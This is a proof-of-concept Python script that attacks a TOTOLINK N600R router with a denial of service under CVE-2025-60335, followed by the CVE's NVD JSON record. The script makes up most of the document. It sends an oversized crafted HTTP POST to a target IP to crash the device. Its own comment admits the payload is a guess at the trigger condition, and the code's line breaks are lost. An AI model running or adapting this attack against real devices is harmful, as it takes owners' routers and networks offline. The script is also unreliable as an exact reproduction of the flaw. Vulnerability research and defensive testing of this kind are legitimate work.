CVE-2025-60335

#!/usr/bin/env python3 # CVE-2025-60335 PoC - TOTOLINK N600R NULL Pointer Dereference DoS # Affected: TOTOLINK N600R v4.3.0cu.7866_B20220506 import socket import sys def send_malicious_request(target_ip, target_port=80): """ Send a crafted HTTP request to trigger NULL pointer dereference in TOTOLINK N600R main function. """ # Construct malicious HTTP request # The specific payload depends on the vulnerability trigger condition http_request = ( "POST / HTTP/1.1\r\n" "Host: " + target_ip + "\r\n" "User-Agent: Mozilla/5.0\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: " + str(9999) + "\r\n" "\r\n" + "A" * 9999 + "\r\n" ) try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print("[*] Sending malicious HTTP request...") sock.send(http_request.encode()) print("[*] Request sent. Waiting for response...") response = sock.recv(1024) print(f"[*] Response received: {response}") sock.close() print("[+] PoC execution completed") except socket.timeout: print("[-] Connection timeout - target may have crashed") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_malicious_request(target, port)

{"cve": {"id": "CVE-2025-60335", "sourceIdentifier": "[email protected]", "published": "2025-10-22T16:15:45.050", "lastModified": "2025-10-24T13:18:55.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the main function of TOTOLINK N600R v4.3.0cu.7866_B20220506 allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:n600r_firmware:4.3.0cu.7866_b20220506:*:*:*:*:*:*:*", "matchCriteriaId": "FE44B6CE-CB41-4D9E-B3EE-2F9049A431BF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:n600r:-:*:*:*:*:*:*:*", "matchCriteriaId": "601C2FBE-B584-40B9-BBD7-7BF2A14CA694"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/NPD/TOTOLink/main/CONTENT_LENGTH_MAX.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/NPD/TOTOLink/main/CONTENT_LENGTH_MAX.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}